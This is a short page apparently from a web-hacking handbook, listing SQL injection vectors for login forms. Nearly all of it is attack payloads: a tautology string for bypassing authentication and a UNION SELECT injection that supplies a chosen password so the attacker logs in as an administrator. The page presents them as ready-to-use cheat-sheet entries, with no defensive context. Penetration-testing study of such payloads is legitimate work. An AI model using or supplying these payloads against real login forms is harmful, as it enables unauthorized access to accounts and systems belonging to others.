handbook/tools/3.Web-Hacking/4.Injection/SQL/Commands/SQL-Injection-Vectors/2 - Login form.md

Login Form

Login Bypass

'1 or 1=1;--

Impersonalisation

'UNION SELECT '123' AS password FROM admins WHERE '1' = '1  ---> Set Password has 123

• Enable you to login has Admin with the password "123"